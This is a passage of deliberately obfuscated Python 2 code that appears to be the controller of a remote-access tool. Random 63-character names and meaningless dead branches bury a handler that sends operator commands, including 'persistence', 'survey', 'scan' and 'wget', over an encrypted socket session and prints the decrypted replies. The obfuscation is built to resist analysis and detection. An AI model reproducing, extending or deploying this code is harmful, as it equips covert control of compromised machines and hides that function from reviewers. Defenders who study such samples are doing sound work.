            HTJDkMyXPXwRuZiWeJFIwzOVwjwPsCWUtumOGxkAFNDBQCxrNSRCZClIZwPCRzu = 'RmoMJvIvSTrPHpwVDCJJblgDCOOCYwxwtpJAFxUDHAyCuGAGDpHVCAAGmSpGhIx'
            EoEsAHxyCGSFzDVmirrmRqAsiCuRmpGqNYvEESIuLqUqFPSSsGPExvywvsFGvRL = 'SZntFivYSJASFzrpOHfwEpExzvhHDgRCvnGFZIvkRxVJvHQnHHVjFmHDIRNXNtD'
            kRJGFtxOuCpNzCwzJhVAFSzDwYxjGCDSGwGRIVFxQyzeCPpSAUsPItJjSVmvCFD = 'jqJspGLwgQPyQfJHFBHqOyWkGEzOvoEJuXhRgyERQoBqCROpkcQGuIGyIPJxcKG'
            HRvJzrQHTOGrpGDRVmMGSGWGxMBPDzOMiRGWGERZGPqEupZCBSFyWtMSAwGjtSx = 'kyxPMFzwviktDzAoIuCjZEkHxNjRISFzRPtXTzFQpSyEyxjtHxFAPipCpztWDSz'
            if vAIBTvPFNSMCvvkASABvEjNkxVURyCVtXFRVwqFuMCPqCSSwcEHxIrxWYCSEqIp != EoEsAHxyCGSFzDVmirrmRqAsiCuRmpGqNYvEESIuLqUqFPSSsGPExvywvsFGvRL:
                VIuvTQGAQkQutCtaslCpsJIReSEPPxIEASFQbEyHmtGPJiCzBMvSOxOIHEpxBH = HTJDkMyXPXwRuZiWeJFIwzOVwjwPsCWUtumOGxkAFNDBQCxrNSRCZClIZwPCRzu
                for HRvJzrQHTOGrpGDRVmMGSGWGxMBPDzOMiRGWGERZGPqEupZCBSFyWtMSAwGjtSx in EoEsAHxyCGSFzDVmirrmRqAsiCuRmpGqNYvEESIuLqUqFPSSsGPExvywvsFGvRL:
                    if HRvJzrQHTOGrpGDRVmMGSGWGxMBPDzOMiRGWGERZGPqEupZCBSFyWtMSAwGjtSx != HTJDkMyXPXwRuZiWeJFIwzOVwjwPsCWUtumOGxkAFNDBQCxrNSRCZClIZwPCRzu:
                        VIuvTQGAQkQutCtaslCpsJIReSEPPxIEASFQbEyHmtGPJiCzBMvSOxOIHEpxBH = VIuvTQGAQkQutCtaslCpsJIReSEPPxIEASFQbEyHmtGPJiCzBMvSOxOIHEpxBH
                    else:
                        kRJGFtxOuCpNzCwzJhVAFSzDwYxjGCDSGwGRIVFxQyzeCPpSAUsPItJjSVmvCFD = vAIBTvPFNSMCvvkASABvEjNkxVURyCVtXFRVwqFuMCPqCSSwcEHxIrxWYCSEqIp
            else:
                HTJDkMyXPXwRuZiWeJFIwzOVwjwPsCWUtumOGxkAFNDBQCxrNSRCZClIZwPCRzu = vAIBTvPFNSMCvvkASABvEjNkxVURyCVtXFRVwqFuMCPqCSSwcEHxIrxWYCSEqIp
                vAIBTvPFNSMCvvkASABvEjNkxVURyCVtXFRVwqFuMCPqCSSwcEHxIrxWYCSEqIp = kRJGFtxOuCpNzCwzJhVAFSzDwYxjGCDSGwGRIVFxQyzeCPpSAUsPItJjSVmvCFD
                if HTJDkMyXPXwRuZiWeJFIwzOVwjwPsCWUtumOGxkAFNDBQCxrNSRCZClIZwPCRzu == vAIBTvPFNSMCvvkASABvEjNkxVURyCVtXFRVwqFuMCPqCSSwcEHxIrxWYCSEqIp:
                    for HRvJzrQHTOGrpGDRVmMGSGWGxMBPDzOMiRGWGERZGPqEupZCBSFyWtMSAwGjtSx in vAIBTvPFNSMCvvkASABvEjNkxVURyCVtXFRVwqFuMCPqCSSwcEHxIrxWYCSEqIp:
                        if HRvJzrQHTOGrpGDRVmMGSGWGxMBPDzOMiRGWGERZGPqEupZCBSFyWtMSAwGjtSx == HTJDkMyXPXwRuZiWeJFIwzOVwjwPsCWUtumOGxkAFNDBQCxrNSRCZClIZwPCRzu:
                            HTJDkMyXPXwRuZiWeJFIwzOVwjwPsCWUtumOGxkAFNDBQCxrNSRCZClIZwPCRzu = vAIBTvPFNSMCvvkASABvEjNkxVURyCVtXFRVwqFuMCPqCSSwcEHxIrxWYCSEqIp
                        else:
                            HTJDkMyXPXwRuZiWeJFIwzOVwjwPsCWUtumOGxkAFNDBQCxrNSRCZClIZwPCRzu = kRJGFtxOuCpNzCwzJhVAFSzDwYxjGCDSGwGRIVFxQyzeCPpSAUsPItJjSVmvCFD
            for HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ in action.split():
                GFrYzEAxRHrIzxXtzXSBMzfGHkJxvqgpGPJMlqDxyDDgGAExAnGAPBIkYwpPeyE = 'npSCoQlLnPCknGpZkASNEIGCHstuJrdoBDsFwunhDvnJtGkMrxoRuqDyiuIFjwF'
                SHvBexQRhFRmuLSxFAZvBCERlvsYxPzSvHxSnyEAUymFuQOxHPJojuCABvHyA = 'GuHRHRxuqZYiFEGDMyonyHHyuRGIzDJtSykzquQGrHzwsIIFxDJGDVIIEPHBNAG'
                IBFDCMvTXgEFRJNTNvGmzPAHtUHnLSRjqdeTMHBzAqLSSkuGHKzAKsBQwNRJGSz = 'CKvIjOJTmCOpBEAewGFovZXOSuvxxVOvwwNkACzRRiGCnGJvHCDlAvCHBJkJtIv'
                rDHEHGJCUSqSEEsCrIGtzqvVkPOHRZzCujzYCvFTFDSBGFkyGrFfJPSEtJxBBrI = 'QeVExwhIeAGEQvkPLyBQtCAFeyBHAGElOyGFHPYBXBrSnSnCLGGCRPVHnwdzDBP'
                if SHvBexQRhFRmuLSxFAZvBCERlvsYxPzSvHxSnyEAUymFuQOxHPJojuCABvHyA == GFrYzEAxRHrIzxXtzXSBMzfGHkJxvqgpGPJMlqDxyDDgGAExAnGAPBIkYwpPeyE:
                    for GFrYzEAxRHrIzxXtzXSBMzfGHkJxvqgpGPJMlqDxyDDgGAExAnGAPBIkYwpPeyE in SHvBexQRhFRmuLSxFAZvBCERlvsYxPzSvHxSnyEAUymFuQOxHPJojuCABvHyA:
                        if SHvBexQRhFRmuLSxFAZvBCERlvsYxPzSvHxSnyEAUymFuQOxHPJojuCABvHyA == SHvBexQRhFRmuLSxFAZvBCERlvsYxPzSvHxSnyEAUymFuQOxHPJojuCABvHyA:
                            IBFDCMvTXgEFRJNTNvGmzPAHtUHnLSRjqdeTMHBzAqLSSkuGHKzAKsBQwNRJGSz = 'rDHEHGJCUSqSEEsCrIGtzqvVkPOHRZzCujzYCvFTFDSBGFkyGrFfJPSEtJxBBrI'
                        elif IBFDCMvTXgEFRJNTNvGmzPAHtUHnLSRjqdeTMHBzAqLSSkuGHKzAKsBQwNRJGSz == rDHEHGJCUSqSEEsCrIGtzqvVkPOHRZzCujzYCvFTFDSBGFkyGrFfJPSEtJxBBrI:
                            rDHEHGJCUSqSEEsCrIGtzqvVkPOHRZzCujzYCvFTFDSBGFkyGrFfJPSEtJxBBrI = GFrYzEAxRHrIzxXtzXSBMzfGHkJxvqgpGPJMlqDxyDDgGAExAnGAPBIkYwpPeyE
                        else:
                            GFrYzEAxRHrIzxXtzXSBMzfGHkJxvqgpGPJMlqDxyDDgGAExAnGAPBIkYwpPeyE = SHvBexQRhFRmuLSxFAZvBCERlvsYxPzSvHxSnyEAUymFuQOxHPJojuCABvHyA
                elif IBFDCMvTXgEFRJNTNvGmzPAHtUHnLSRjqdeTMHBzAqLSSkuGHKzAKsBQwNRJGSz == IBFDCMvTXgEFRJNTNvGmzPAHtUHnLSRjqdeTMHBzAqLSSkuGHKzAKsBQwNRJGSz:
                    for IBFDCMvTXgEFRJNTNvGmzPAHtUHnLSRjqdeTMHBzAqLSSkuGHKzAKsBQwNRJGSz in SHvBexQRhFRmuLSxFAZvBCERlvsYxPzSvHxSnyEAUymFuQOxHPJojuCABvHyA:
                        if rDHEHGJCUSqSEEsCrIGtzqvVkPOHRZzCujzYCvFTFDSBGFkyGrFfJPSEtJxBBrI == SHvBexQRhFRmuLSxFAZvBCERlvsYxPzSvHxSnyEAUymFuQOxHPJojuCABvHyA:
                            IBFDCMvTXgEFRJNTNvGmzPAHtUHnLSRjqdeTMHBzAqLSSkuGHKzAKsBQwNRJGSz = 'rDHEHGJCUSqSEEsCrIGtzqvVkPOHRZzCujzYCvFTFDSBGFkyGrFfJPSEtJxBBrI'
                        elif IBFDCMvTXgEFRJNTNvGmzPAHtUHnLSRjqdeTMHBzAqLSSkuGHKzAKsBQwNRJGSz == rDHEHGJCUSqSEEsCrIGtzqvVkPOHRZzCujzYCvFTFDSBGFkyGrFfJPSEtJxBBrI:
                            rDHEHGJCUSqSEEsCrIGtzqvVkPOHRZzCujzYCvFTFDSBGFkyGrFfJPSEtJxBBrI = GFrYzEAxRHrIzxXtzXSBMzfGHkJxvqgpGPJMlqDxyDDgGAExAnGAPBIkYwpPeyE
                        else:
                            GFrYzEAxRHrIzxXtzXSBMzfGHkJxvqgpGPJMlqDxyDDgGAExAnGAPBIkYwpPeyE = SHvBexQRhFRmuLSxFAZvBCERlvsYxPzSvHxSnyEAUymFuQOxHPJojuCABvHyA
                            for IBFDCMvTXgEFRJNTNvGmzPAHtUHnLSRjqdeTMHBzAqLSSkuGHKzAKsBQwNRJGSz in SHvBexQRhFRmuLSxFAZvBCERlvsYxPzSvHxSnyEAUymFuQOxHPJojuCABvHyA:
                                if rDHEHGJCUSqSEEsCrIGtzqvVkPOHRZzCujzYCvFTFDSBGFkyGrFfJPSEtJxBBrI == SHvBexQRhFRmuLSxFAZvBCERlvsYxPzSvHxSnyEAUymFuQOxHPJojuCABvHyA:
                                    IBFDCMvTXgEFRJNTNvGmzPAHtUHnLSRjqdeTMHBzAqLSSkuGHKzAKsBQwNRJGSz = 'rDHEHGJCUSqSEEsCrIGtzqvVkPOHRZzCujzYCvFTFDSBGFkyGrFfJPSEtJxBBrI'
                                elif IBFDCMvTXgEFRJNTNvGmzPAHtUHnLSRjqdeTMHBzAqLSSkuGHKzAKsBQwNRJGSz == rDHEHGJCUSqSEEsCrIGtzqvVkPOHRZzCujzYCvFTFDSBGFkyGrFfJPSEtJxBBrI:
                                    rDHEHGJCUSqSEEsCrIGtzqvVkPOHRZzCujzYCvFTFDSBGFkyGrFfJPSEtJxBBrI = GFrYzEAxRHrIzxXtzXSBMzfGHkJxvqgpGPJMlqDxyDDgGAExAnGAPBIkYwpPeyE
                                else:
                                    GFrYzEAxRHrIzxXtzXSBMzfGHkJxvqgpGPJMlqDxyDDgGAExAnGAPBIkYwpPeyE = rDHEHGJCUSqSEEsCrIGtzqvVkPOHRZzCujzYCvFTFDSBGFkyGrFfJPSEtJxBBrI
                else:
                    GFrYzEAxRHrIzxXtzXSBMzfGHkJxvqgpGPJMlqDxyDDgGAExAnGAPBIkYwpPeyE = SHvBexQRhFRmuLSxFAZvBCERlvsYxPzSvHxSnyEAUymFuQOxHPJojuCABvHyA
                HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ = HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ.strip()
                kyvylzQylABvsJoPANuHBJzJofEFAOEIIiJpCEDRxoQNolMqHtFCHxSyBSrFSCC(nFmlnfrAqJsHJEdCHuJRnBqHtCMIjjOFnPOzHFBHmuQEEwrPozywSPnAGBBuXuF, HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ, OEHyrENnDYkzJAIuCNBSRHxHyHHmxVnEGOPHyDPuWBCEHGvzvIGpMCQowNGtrSG)
        elif qCDIlGZmYEEvlWHHSSxFPVQAdhJQwGEmGQrXGEiuVsEJIXtcEQoQDVtINvDmEzy == 'rekey':
            BDnjJEGuCvwPLItCOtInDGJSPvGSIGWroFsWSYOGDCySxzAuUSxHHAJmrASoqP = 'xCBxFYGOGyZypwBBJJfyzdOSpQzSiQRDuCBRMnIoDMIIvwAJvmzCYtwJAYWIfsw'
            BwqCSwUDQwRkASLNAQCAvSGBvorepUPNnypEQyBCvxlrJHjOSxuYZpOIMEGtDpG = 'xHkEFnnJIxIuQrFIpLxwAAYEkGPMBpAXmPtzvyRoJOPPzGORzOHRyGpzvNpkFqF'
            PIwPCJEHFSWvzFIkXRRBQyQElFsjrkZszCvnrJHRPiFzRQHVPGECQzGbBTDsGAw = 'RPPznLDyvQSOReqPpQNqKHwksGIpgwxAztIJZSCWiCqNBCjJmIQqEWryvEGPyPu'
            QJSulDBGPHwAxCQxgjFREJIHyatGpeypGqwwpHovAADHzjzJJyBSIIoDGCUuxQS = 'BBFFiOtuFSxDRSwgHwqGOBTtgzCvjJGJEtECuFsBwEylPoGpAMDGlRGsHoFIIOE'
            DgRAWEuwFDYxNEnyvNPJGAFHemnLyBsrEAuCuDGRevIytJCJAnRBVRRFIEtJOPq = 'SiBClfNuAzUBjqLTIDoJHJurHHUWEdFwfFGxxCZsQGACCHvAJPOOYBRxCBQGxwH'
            HrCjlAFTFCxxOJRBxtoGSloZnQTFxqvIXwwSJDOAQrYQEFFDysBxuMxmqFoBFF = 'oGFCQkAsBEHwJDLtUIuHDoBNATFtxEzRAFaAIAwPvLBTIjFPARFCQNTSOCHnGvi'
            if PIwPCJEHFSWvzFIkXRRBQyQElFsjrkZszCvnrJHRPiFzRQHVPGECQzGbBTDsGAw == QJSulDBGPHwAxCQxgjFREJIHyatGpeypGqwwpHovAADHzjzJJyBSIIoDGCUuxQS:
                for HrCjlAFTFCxxOJRBxtoGSloZnQTFxqvIXwwSJDOAQrYQEFFDysBxuMxmqFoBFF in DgRAWEuwFDYxNEnyvNPJGAFHemnLyBsrEAuCuDGRevIytJCJAnRBVRRFIEtJOPq:
                    if HrCjlAFTFCxxOJRBxtoGSloZnQTFxqvIXwwSJDOAQrYQEFFDysBxuMxmqFoBFF == QJSulDBGPHwAxCQxgjFREJIHyatGpeypGqwwpHovAADHzjzJJyBSIIoDGCUuxQS:
                        DgRAWEuwFDYxNEnyvNPJGAFHemnLyBsrEAuCuDGRevIytJCJAnRBVRRFIEtJOPq = BDnjJEGuCvwPLItCOtInDGJSPvGSIGWroFsWSYOGDCySxzAuUSxHHAJmrASoqP
                    else:
                        QJSulDBGPHwAxCQxgjFREJIHyatGpeypGqwwpHovAADHzjzJJyBSIIoDGCUuxQS = BwqCSwUDQwRkASLNAQCAvSGBvorepUPNnypEQyBCvxlrJHjOSxuYZpOIMEGtDpG
            OEHyrENnDYkzJAIuCNBSRHxHyHHmxVnEGOPHyDPuWBCEHGvzvIGpMCQowNGtrSG = vtMRvNIZLQjyJnDNOMACSDDwRCSJsDWOiDOCIESrasNPSuqDRsJHTwoEvItFRqw(nFmlnfrAqJsHJEdCHuJRnBqHtCMIjjOFnPOzHFBHmuQEEwrPozywSPnAGBBuXuF, server=True)
        elif qCDIlGZmYEEvlWHHSSxFPVQAdhJQwGEmGQrXGEiuVsEJIXtcEQoQDVtINvDmEzy in ['scan', 'survey', 'persistence', 'unzip', 'wget']:
            SDuxuJuRPVqJXDvtHRClJWGDxaJoCFDAumTpGrvVBSYrrvFeRJvASDAHzyONNvp = 'wDROHnxOQRxSOytIMysvDJRzHDjFxQvwuFCxEPHpPFHRtEfHSvMtlETZlHqBxrv'
            mkhuFnyyDPJEUBHNHPSynyIBSFvBVZQIqArQynxUyEGVDYIrSHAxXCHSazqAeFQ = 'ECDqyOUSFQDrNOuRKxHBipUotuBwxVvHBFRFEzBBSBGHupyxJSINIlJEEHIFwRQ'
            if SDuxuJuRPVqJXDvtHRClJWGDxaJoCFDAumTpGrvVBSYrrvFeRJvASDAHzyONNvp != mkhuFnyyDPJEUBHNHPSynyIBSFvBVZQIqArQynxUyEGVDYIrSHAxXCHSazqAeFQ:
                SDuxuJuRPVqJXDvtHRClJWGDxaJoCFDAumTpGrvVBSYrrvFeRJvASDAHzyONNvp = 'ECDqyOUSFQDrNOuRKxHBipUotuBwxVvHBFRFEzBBSBGHupyxJSINIlJEEHIFwRQ'
                mkhuFnyyDPJEUBHNHPSynyIBSFvBVZQIqArQynxUyEGVDYIrSHAxXCHSazqAeFQ = SDuxuJuRPVqJXDvtHRClJWGDxaJoCFDAumTpGrvVBSYrrvFeRJvASDAHzyONNvp
                SDuxuJuRPVqJXDvtHRClJWGDxaJoCFDAumTpGrvVBSYrrvFeRJvASDAHzyONNvp = 'wDROHnxOQRxSOytIMysvDJRzHDjFxQvwuFCxEPHpPFHRtEfHSvMtlETZlHqBxrv'
            print 'Running {}...'.format(qCDIlGZmYEEvlWHHSSxFPVQAdhJQwGEmGQrXGEiuVsEJIXtcEQoQDVtINvDmEzy)
            ASuFZFHGHVABSxJoXDEsSCLzSHatzrNFPPuqPFIRGuBvHGJzOqwlvHJFExMoNzE = nFmlnfrAqJsHJEdCHuJRnBqHtCMIjjOFnPOzHFBHmuQEEwrPozywSPnAGBBuXuF.recv(1024)
            print uSIByGHznHHkkvwwPIVnIDFmmvPIHMRIyINSxzREPRIJQsuHBAIBMOtBQvIltFA(ASuFZFHGHVABSxJoXDEsSCLzSHatzrNFPPuqPFIRGuBvHGJzOqwlvHJFExMoNzE, OEHyrENnDYkzJAIuCNBSRHxHyHHmxVnEGOPHyDPuWBCEHGvzvIGpMCQowNGtrSG)
if __name__ == '__main__':
    ZpQvsPArSPlMzCvpQJMSDuAvzlPZxDKOGIAHUBxwDurvlDQJCFhFJDHvSxxoHlX = 'GzEsMtQkxtImmzJBQYxweJDERGtysHtaumSwQeyEHvqJWEwCHwtkVvIJFDIRClu'
    NHIPAVSBDhmIwzOeoqIwlGGWqxEHoADpVAYoSBERADoGuutCHzMCSECyJSxJBDw = 'RxrHHkBQqEJuPjINHSomljGNDPIRAyFeewyxHRAICJoAeSASzuJPlorSPIFSqxI'
    vzutJANmnOPvhijoJnPwJjFvBsuGAGtJGgFOwICRsyCqzDBmuMsJSVfQwqoPDtq = 'jsGIzBQbhzckqwGzrNrXPtCYYeztwTCDnGHlzQAMOoFQGEQZvFkFEIABXQNwkR'
    NJSFZLrhSSHrHCWRZlXGQBRaNzXJuqWzvrRlZvFvESIFIMHmDzSHzfGQEBCHDCt = 'DjcGSxOJVJBoPmQSmrFQDOsGQuBDFYmvhtHuFiJlQFvJkSvJqHCSDMzRtIEtpRG'
    if NHIPAVSBDhmIwzOeoqIwlGGWqxEHoADpVAYoSBERADoGuutCHzMCSECyJSxJBDw == ZpQvsPArSPlMzCvpQJMSDuAvzlPZxDKOGIAHUBxwDurvlDQJCFhFJDHvSxxoHlX:
        for ZpQvsPArSPlMzCvpQJMSDuAvzlPZxDKOGIAHUBxwDurvlDQJCFhFJDHvSxxoHlX in NHIPAVSBDhmIwzOeoqIwlGGWqxEHoADpVAYoSBERADoGuutCHzMCSECyJSxJBDw:
            if NHIPAVSBDhmIwzOeoqIwlGGWqxEHoADpVAYoSBERADoGuutCHzMCSECyJSxJBDw == NHIPAVSBDhmIwzOeoqIwlGGWqxEHoADpVAYoSBERADoGuutCHzMCSECyJSxJBDw:
                vzutJANmnOPvhijoJnPwJjFvBsuGAGtJGgFOwICRsyCqzDBmuMsJSVfQwqoPDtq = 'NJSFZLrhSSHrHCWRZlXGQBRaNzXJuqWzvrRlZvFvESIFIMHmDzSHzfGQEBCHDCt'
            elif vzutJANmnOPvhijoJnPwJjFvBsuGAGtJGgFOwICRsyCqzDBmuMsJSVfQwqoPDtq == NJSFZLrhSSHrHCWRZlXGQBRaNzXJuqWzvrRlZvFvESIFIMHmDzSHzfGQEBCHDCt:
                NJSFZLrhSSHrHCWRZlXGQBRaNzXJuqWzvrRlZvFvESIFIMHmDzSHzfGQEBCHDCt = ZpQvsPArSPlMzCvpQJMSDuAvzlPZxDKOGIAHUBxwDurvlDQJCFhFJDHvSxxoHlX
            else:
                ZpQvsPArSPlMzCvpQJMSDuAvzlPZxDKOGIAHUBxwDurvlDQJCFhFJDHvSxxoHlX = NHIPAVSBDhmIwzOeoqIwlGGWqxEHoADpVAYoSBERADoGuutCHzMCSECyJSxJBDw
    elif vzutJANmnOPvhijoJnPwJjFvBsuGAGtJGgFOwICRsyCqzDBmuMsJSVfQwqoPDtq == vzutJANmnOPvhijoJnPwJjFvBsuGAGtJGgFOwICRsyCqzDBmuMsJSVfQwqoPDtq:
        for vzutJANmnOPvhijoJnPwJjFvBsuGAGtJGgFOwICRsyCqzDBmuMsJSVfQwqoPDtq in NHIPAVSBDhmIwzOeoqIwlGGWqxEHoADpVAYoSBERADoGuutCHzMCSECyJSxJBDw:
            if NJSFZLrhSSHrHCWRZlXGQBRaNzXJuqWzvrRlZvFvESIFIMHmDzSHzfGQEBCHDCt == NHIPAVSBDhmIwzOeoqIwlGGWqxEHoADpVAYoSBERADoGuutCHzMCSECyJSxJBDw:
                vzutJANmnOPvhijoJnPwJjFvBsuGAGtJGgFOwICRsyCqzDBmuMsJSVfQwqoPDtq = 'NJSFZLrhSSHrHCWRZlXGQBRaNzXJuqWzvrRlZvFvESIFIMHmDzSHzfGQEBCHDCt'
            elif vzutJANmnOPvhijoJnPwJjFvBsuGAGtJGgFOwICRsyCqzDBmuMsJSVfQwqoPDtq == NJSFZLrhSSHrHCWRZlXGQBRaNzXJuqWzvrRlZvFvESIFIMHmDzSHzfGQEBCHDCt:
                NJSFZLrhSSHrHCWRZlXGQBRaNzXJuqWzvrRlZvFvESIFIMHmDzSHzfGQEBCHDCt = ZpQvsPArSPlMzCvpQJMSDuAvzlPZxDKOGIAHUBxwDurvlDQJCFhFJDHvSxxoHlX
            else:
                ZpQvsPArSPlMzCvpQJMSDuAvzlPZxDKOGIAHUBxwDurvlDQJCFhFJDHvSxxoHlX = NHIPAVSBDhmIwzOeoqIwlGGWqxEHoADpVAYoSBERADoGuutCHzMCSECyJSxJBDw
                for vzutJANmnOPvhijoJnPwJjFvBsuGAGtJGgFOwICRsyCqzDBmuMsJSVfQwqoPDtq in NHIPAVSBDhmIwzOeoqIwlGGWqxEHoADpVAYoSBERADoGuutCHzMCSECyJSxJBDw:
                    if NJSFZLrhSSHrHCWRZlXGQBRaNzXJuqWzvrRlZvFvESIFIMHmDzSHzfGQEBCHDCt == NHIPAVSBDhmIwzOeoqIwlGGWqxEHoADpVAYoSBERADoGuutCHzMCSECyJSxJBDw:
                        vzutJANmnOPvhijoJnPwJjFvBsuGAGtJGgFOwICRsyCqzDBmuMsJSVfQwqoPDtq = 'NJSFZLrhSSHrHCWRZlXGQBRaNzXJuqWzvrRlZvFvESIFIMHmDzSHzfGQEBCHDCt'
                    elif vzutJANmnOPvhijoJnPwJjFvBsuGAGtJGgFOwICRsyCqzDBmuMsJSVfQwqoPDtq == NJSFZLrhSSHrHCWRZlXGQBRaNzXJuqWzvrRlZvFvESIFIMHmDzSHzfGQEBCHDCt:
                        NJSFZLrhSSHrHCWRZlXGQBRaNzXJuqWzvrRlZvFvESIFIMHmDzSHzfGQEBCHDCt = ZpQvsPArSPlMzCvpQJMSDuAvzlPZxDKOGIAHUBxwDurvlDQJCFhFJDHvSxxoHlX
                    else:
                        ZpQvsPArSPlMzCvpQJMSDuAvzlPZxDKOGIAHUBxwDurvlDQJCFhFJDHvSxxoHlX = NJSFZLrhSSHrHCWRZlXGQBRaNzXJuqWzvrRlZvFvESIFIMHmDzSHzfGQEBCHDCt
    else:
        ZpQvsPArSPlMzCvpQJMSDuAvzlPZxDKOGIAHUBxwDurvlDQJCFhFJDHvSxxoHlX = NHIPAVSBDhmIwzOeoqIwlGGWqxEHoADpVAYoSBERADoGuutCHzMCSECyJSxJBDw
    rAFBSHNfNqQlRskEEOBCJCBrinBnGFJIUAEGRrJSOzbMDFRJPuteotGtOqQIFRF()
